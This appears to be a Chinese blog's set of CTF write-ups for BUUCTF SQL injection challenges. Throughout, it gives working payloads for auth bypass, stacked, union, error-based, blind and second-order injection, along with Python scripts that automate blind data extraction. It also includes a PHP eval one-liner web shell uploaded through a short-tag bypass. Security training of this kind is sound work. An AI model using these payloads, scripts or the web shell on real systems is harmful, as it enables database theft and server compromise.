BUU-sql
本文最后更新于:1 年前
BUU-sql题记
1.EasySQL-[极客大挑战 2019]
万能密码……
1'or(1=1)#
//get flag
2.堆叠注入+handler-[强网杯 2019]随便注
ban:
堆叠注入
堆叠注入为攻击者提供了很多控制权,与仅限于SELECT语句的UNION联合查询攻击不同,堆叠注入可以用于执行任何SQL语句
堆叠注入原理
在sql中,分号表示一条语句的结束。如果在分号的后面再加一条语句,这条语句也可以被执行,继续加一个分号和一条语句,这样就可以在一次数据库的调用中执行多个语句
handler
handler 教程:
https://blog.csdn.net/qq_43427482/article/details/109898934
其作用类似于select
handler用法:
打开句柄
handler handler_table open;
查看数据
handler handler_table read first;
handler handler_table read next;
前期准备
查库
0'or 1=1;show databases;#
库:
ctftraining\information_schema\mysql\performance_schema\supersqli\test
查表
0'or 1=1;show tables;#
表:
1919810931114514\words
payload:
1'or(1=1);handler`1919810931114514`open;handler`1919810931114514`read first;
3.猜测后端查询语句-[SUCTF 2019]EasySQL
ban:
“/&/union/and/or/sleep/where/from/like/prepare/if/handler/updatexml/extractvalue/insert/update
Nonono.
@回显 :
这…不太会用
非0数字 如下/数字0 无回显
可用1;show databases#//1;show tables#回显得出库/表,get flag Nonono. …………….
getgetget 大佬博客 !!!
payload1:
*,1
select *,1||flag from Flag
//即select *---select flag from Flag
payload2:
1;set sql_mode=pipes_as_concat;select 1
select 1;set sql_mode=pipes_as_concat;select 1 ||flag from Flag;
pipes_as_concat 将‘ || ’ 视为字符的操作符
将‘ || ’ 视为字符的操作符而非或运算符
set sql_mode=pipes_as_concat;
select 1 from table
https://www.cnblogs.com/jiechn/p/3979261.html
select任何一个常数都会在表中新建一列,然后查询出那一列的内容。
select 1 from Flag的结果就是一排1,这一排有几个数据取决于表的行数多少。
4.基本的sql步骤-[极客大挑战 2019]LoveSQL
查看源码,get 一个check.php
抓包,用一句话万能密码进行尝试
/check.php?username=1&password=1'or(1=1)%23
然后…就过了…
尝试MD5解码失败…回到注入的思路上
寻找注入点:
/check.php?username=1&password=1'union+select+1,2,3%23
Get it
//查库
1'union+select+1,group_concat(database()),3%23
//库:geek
//查表
1'union+select+1,group_concat(table_name),3+from+information_schema.tables+where+table_schema='geek'%23
//表:geekuser,l0ve1ysq1
//直接查表l0ve1ysq1
//查列名
1'union+select+1,group_concat(column_name),3+from+information_schema.columns+where+table_name='l0ve1ysq1'%23
//列: id,username,password
//查l0ve1ysq1-password的字段值
//查字段值
1'union+select+1,group_concat(password),3+from+l0ve1ysq1%23
//get flag
查找时返回数据时+函数group_concat()~~~
(第一次没加,查geekuser表查半天…)
5.replace()函数过滤+双写绕过-[极客大挑战 2019]BabySQL
继续用万能密码测试:
/check.php?username=1&password=1'or(1=1)%23
好像ban了or,用
/check.php?username=1&password=1'or(1or=1)%23
(这不是同一张图:)
确定,同时确认过滤方式
ban:or/and/select/union/where/from
先进去…
1'oorr(1=1)%23
1'||(1=1)%23
然后…
又长这样… :)
so…
//注入点
1'uniunionon+selecselectt+1,2,3%23
//库
1'uniunionon+selecselectt+1,group_concat(database()),3%23
//get database ---geek
//表
1'ununionion+seleselectct+1,group_concat(table_name),3+frfromom+infoorrmation_schema.tables+wwherehere+table_schema='geek'%23
//get table ---b4bsql/geekuser
//---> b4bsql 列名
1'ununionion+seleselectct+1,group_concat(column_name),3+frfromom+infoorrmation_schema.columns+wwherehere+table_name='b4bsql'%23
//---> b4bsql get columns ---id,username,password
//查找---> b4bsql ---> password
1'ununionion+seleselectct+1,group_concat(passwoorrd),3+frfromom+b4bsql%23
//get flag
6.updatexml报错注入+反向读取sql结果-[极客大挑战 2019]HardSQL
尝试万能密码…ban 了 =
改造一下
username=1&password=1'or(1)%23
login success
测试过滤字符,构造注入语句—
ban
=/!/<>/+/*/union/space/%00/%09/%20/%0a/%0c/sleep/if/substring
ban 了 空格的使用 ,可用()绕过,substring 用left()、right()读取
发现报错注入可用:
//库
1'or(updatexml(1,concat(0x7e,(select(database())),0x7e),1))%23
//get database ---geek
//表
1'or(updatexml(1,concat(0x7e,(select`table_name`from(information_schema.tables)where(`table_schema`like'geek')),0x7e),1))%23
//get table ---H4rDsq1
//列名
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(`table_name`like'H4rDsq1'))),1))%23
//---> id,username,password
//字段
1'or(updatexml(1,concat(0x7e,(select`password`from`H4rDsq1`),0x7e),1))%23
//cat 前半部分flag
1'or(updatexml(1,concat(0x7e,right((select`password`from`H4rDsq1`),30),0x7e),1))%23
//cat 后半部分flag
//--->cat flag
updatexml()报错注入
—>sql-ways
sql反向读取输出数据
7.脑洞题-绕过md5比较+union select构造数据-[GXYCTF2019]BabySQli
嗯…很简洁的界面
抓包,正常测试注入点
name=1&pw=1-----wrong user
name=admin&pw=1-----wrong pass
name=admin&pw=1'or(1=1)#-----wrong pass
name=admin'or(1=1)#&pw=1-----do not hack me!
ok,在pw中的输入全是wrong pass,name值为admin才会验证pw并且在name中存在过滤
所以在name的返回值有两个,T–wrong pass ,F–wrong true
验证想法…
name=admin'and%201#&pw=1-----T->wrong pass
name=admin'and%200#&pw=1-----F->wrong user
尝试盲注2021/7/26 15:05:07 ,构造payload,写脚本
ban :
=/(/)/or/
尝试构造payload:尝试绕过过滤,编码绕过…无效…重审源码…
55555(翻大佬wp)
https://blog.csdn.net/qq_45521281/article/details/107167452
检查源码,抓到search.php,注释中的奇怪字符
先base32后64 解码
name=1'union select 1,'1',3#&pw=1-----wrong user
name=1'union select 'admin',2,3#&pw=1-----wrong user
name=1'union select 1,'admin',3#&pw=1-----wrong pass
name=1'union select 1,2,'admin'#&pw=1-----wrong user
盲猜,id,username,password
(偷图大佬WHOAMIAnony)狗头)
union select 构造数据
https://blog.csdn.net/qq_45521281/article/details/107167452
简单解释就是在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。
仅在本次查询中起作用(非固定数据)
即用构造的数据绕过md5检测
payload:
name=1'union select 1,'admin','202cb962ac59075b964b07152d234b70'#&pw=123
总结一下:
1.仔细检查源码
2.大胆猜测后端语句(还是题做的少…)
3.知识面太窄((:)
8.handler-[GYCTF2020]Blacklist
与’[强网杯 2019]随便注’ 近似
//查库
/?inject=1';show%20databases;
//好像没什么用...
//查表
/?inject=1';show%20tables;
//FlagHere---words
paylaod:
1';handler`FlagHere`open;handler`FlagHere`read%20first;
//get flag
用的是handler代替select读取数据,可能是非预期解法…baidu一下。是预期解 :)
desc 妙用
desc+表名
降序输出该表内的数据表结构
1';desc`FlagHere`;%23
9.二次注入+无列名注入-[SWPU2019]Web1
界面:注册、登录、广告管理主界面、申请添加发布广告、查看广告详情
二次注入点:申请发布广告
二次注入回显:查看广告详情
在发布界面尝试测试注入点 (1’)
在详情界面存在报错,存在二次注入点
尝试构造payload:
1'union/**/select/**/1,2,3'
//确定列数
1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
1'union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
//get 库 ---> web1
//ban 了or 无法获取表 观摩大佬wp...
//发现是buu环境问题......
//直接get 表 ---> users
//无列名注入
1'union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/`users`)m),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
//get flag
参考文献:https://www.cnblogs.com/wangtanzhi/p/12241499.html
10.异或盲注-[极客大挑战 2019]FinalSQL
尝试用户登录,发现差不多都ban了…注入点应该不在这
5个界面get函数/?id=x
提示SQL盲注,先测试过滤
ban:
*/+/@/&/%/and/union/–+/by/limit/like/char/if/mid/handler/insert
发现异或符号^没ban
^_^
回顾异或注入
0^0=0
1^1=0
0^1=1
1^0=1
//相同为0,不同为1
关键是找到0/1的区分,像该题目
测试输出
1^0—>(id=1对应的界面)
1^1—>
所以构造payload–1^(语句)
通过返回界面的不同来判断该语句的正误
构造payload:
//库
1^(ascii(substr(database(),{},1))={})
//表
1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),{},1))={})
//列
1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),{},1))={})
//字段
1^(ascii(substr((select(group_concat(`password`))from`F1naI1y`),{},1))={})
直接贴上脚本:
import requests
import time
url = 'url/search.php?id='
## 爆数据库名 ### geek
payload1 = "1^(ascii(substr(database(),{},1))={})"
## 爆表名 ### F1naI1y,Flaaaaag
payload2 = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),{},1))={})"
## 爆列名 ### F1naI1y--id,username,password ### Flaaaaag--id,fl4gawsl
payload3 ="1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),{},1))={})"
## 爆字段 ### fl4gawsl---NO! Not this! Click others~~~,yingyingying~ Not this as well~~,Ohhh You find the flag read on!<br/>Ohhh You find the flag read on!<br/>...
### password---flag
payload4 = "1^(ascii(substr((select(group_concat(`password`))from`F1naI1y`),{},1))={})"
catcat = ''
flag = ''
for i in range(0, 10000):
print('第'+str(i)+'位')
for j in range(127):
time.sleep(0.05) ###buu平台存在Too many requests...
catcat = url+payload4.format(i, j)
exp = requests.get(url=catcat)
# print(exp.text)
if "ERROR" in exp.text:
flag = flag + chr(j)
print('--------------------------------------------{}'.format(j))
print('*****************'+flag)
break
print('flag is '+flag)
在错误字段Flaaaaag-fl4gawsl中耗费了太多时间…
11.异或盲注-[WUSTCTF2020]颜值成绩查询
尝试字符过滤测试…都没回显
尝试^异或
正常输入 1
1^0
1^1
所以可以套用上面的脚本,将参数进行稍加修改,跑出flag
import requests
import time
url = 'xxx/?stunum='
## 爆数据库名 ### ctf
payload1 = "1^(ascii(substr(database(),{},1))={})"
## 爆表名 ### flag,score
payload2 = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),{},1))={})"
## 爆列名 ### flag flag,value ### score
payload3 ="1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),{},1))={})"
## 爆字段 ### flag---fake flag
### value---real flag
payload4 = "1^(ascii(substr((select(group_concat(`value`))from`flag`),{},1))={})"
catcat = ''
flag = ''
for i in range(0, 200):
print('第'+str(i)+'位')
for j in range(127):
time.sleep(0.05)
catcat = url+payload4.format(i, j)
exp = requests.get(url=catcat)
# print(exp.text)
if "exists" in exp.text:
flag = flag + chr(j)
print('--------------------------------------------{}'.format(j))
print('*****************'+flag)
break
print("flag is " + flag)
有经验了…以后就不去读flag-flag了… :)
12.奇怪盲注+php短标签-[CISCN2019 总决赛 Day2 Web1]Easyweb
Point:
1.备份文件泄露
2.sql盲注
3.php短标签
登录界面..
审计源码,抓到一个image.php
尝试注入,完全无回显
dirsreach扫一下–>robots.txt
就那么几个php文件…都试一下–image.php.bak
拖下源码
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
先看下函数addslashes
逻辑:
在预定义字符前+\
ban掉\\0,%00,\,‘
再进行sql查询
sql语句:
select * from images where id='{$id}' or path='{$path}'
在这被ban了...
感觉可以直接用if函数对变量id进行bool注入...
Q:本地都打通了...也不知道为啥这题不行.
(dalaodalao)
利用前面的逻辑,变量id=\\0,这样在经过函数addslashes后,变成\\\0,再经过replace后,变成\,-->id='\'or path=',然后对变量path进行利用
select * from images where id='\' or path=' {$path}'
dalao的注入方法:
select * from images where id='\' or path=' or id=(if(sql,1,0))#'
用path再查id的值,sql T回图片,F回空
my way:
select * from images where id='\' or path=' or (if(sql,1,0))#'
-->
select * from image where (if(sql,1,0))
T-->全部的值,F-->空
(这恒河里)
盲注直接给脚本:
import requests
import time
url = 'http://d1040be0-cefd-4558-8c9a-dc7619ef8d73.node4.buuoj.cn:81/image.php?id=\\0&path='
# 爆数据库名 ### ciscnfinal
payload1 = "or if(ascii(substr(database(),{},1))={},1,0)%23"
# 爆表名 ### images,users
payload2 = "or if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{},1))={},1,0)%23"
# 爆列名 ### users #这里用user无回显...转十六进制
payload3 = "or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),{},1))={},1,0)%23"
# 爆字段 ### username,password ##admin///4f23ff2aa800ca8d84e1
payload4 = "or if(ascii(substr((select group_concat(password) from users),{},1))={},1,0)%23"
catcat = ''
flag = ''
try:
for i in range(0, 100):
print('第'+str(i)+'位')
for j in range(32, 127):
time.sleep(0.05)
catcat = url+payload4.format(i, j)
exp = len(requests.get(url=catcat).content)
# print(exp.text)
if exp > 10000:
flag = flag + chr(j)
print('--------------------------------------------{}'.format(j))
print('*****************'+flag)
break
except:
time.sleep(0.1)
print("flag is " + flag)
盲注出admin+密码
登录,是个文件上传的样子
审计代码,前端挺干净的,尝试下后端的过滤
先用个一句话文档试试水,
访问该php文件
输出了文件名,尝试将一句话直接改成文件名上传,抓包,改名
php被ban
短标签绕过
—><?=@eval($_POST[‘a’]);>
无回显也就是一句话已经包含在了php文件内
success
连蚁剑,根目录,cat flag
(验证想法)
13.二次注入+报错注入-[RCTF2015]EasySQL
Point:
1.二次注入+报错注入
2.正则匹配regexp()
3.逆向输出reverse()
4.python切片反序输出
注册、登录、用户界面翻阅文章、修改密码
注册界面用户名存在字符过滤
寻找回显位置,在修改密码时发现数据库报错
猜测后端语句:
select * from xxx where username="" and pwd ='d41d8cd98f00b204e9800998ecf8427e';
尝试构造payload
用报错注入updatexml()
//获取表名
//article,flag,users
1"or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#
查找flag-flag-flag后,发现是个fake,查找users表
//列名
//users-real_flag_1s_her
1"or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))#
real_flag_1s_her列名报错,不存在该列
怀疑未完整输出
尝试正则匹配获取完整列名
//users-real_flag_1s_here
1"or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))),1))#
尝试获取其中字段
//users-real_flag_1s_here-xxxxxx
1"or(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)),0x7e),1))#
多行数据,未能完整显示,正则匹配数字0-9
//flag{524699ed-cc79-402a-9f4a-24
1"or(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('[0-9]')),0x7e),1))#
获取了前半部分的flag,因为ban了left、right、mid等常见的位置函数,故使用逆向输出函数reverse()
这里采用了双括号reverse(())将select以及regexp视为一体
//~}c27cb6e9cd42-a4f9-a204-97cc-de
1"or(updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('[0-9]'))),0x7e),1))#
使用python数组反向输出,获取后半端flag
str = '~}c27cb6e9cd42-a4f9-a204-97cc-de'
str = str[::-1]
print(str)
正则函数regexp()
检索符合条件的字符
select()from()where()&&()regexp()
select()from()where(()regexp())
逆向输出reverse()
REVERSE - 返回字符串其字符顺序颠倒。
python 切片操作反序输出
s='xxx'
s=s[::-1]
print s
14.盲注-[CISCN2019 华北赛区 Day2 Web1]Hack World
测被ban字符
尝试注入方式
id=(1)=(1)
id=(1)=(2)
回显不同
//--->if()
构造payload:
//直接查flag-flag的内容
if(ascii(substr((select(flag)from(flag)),1,1))>1,1,2)
改造盲注脚本—>
import requests
import time
url = 'http://5856489a-b75c-485a-b261-7d305316dd16.node4.buuoj.cn:81/index.php'
payload = "if(ascii(substr((select(flag)from(flag)),{},1))={},1,2)"
flag = ''
for i in range(0, 50):
print("第{}位".format(i))
for j in range(32, 127):
cn = {
'id': payload.format(i, j)
}
# print(cn)
exp = requests.post(url=url, data=cn)
# print(exp)
if "glzjin" in exp.text:
flag = flag + chr(j)
print('--------------------------------------------{}'.format(j))
print('*****************' + flag)
break
time.sleep(0.1)
15.***-[网鼎杯 2018]Fakebook
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!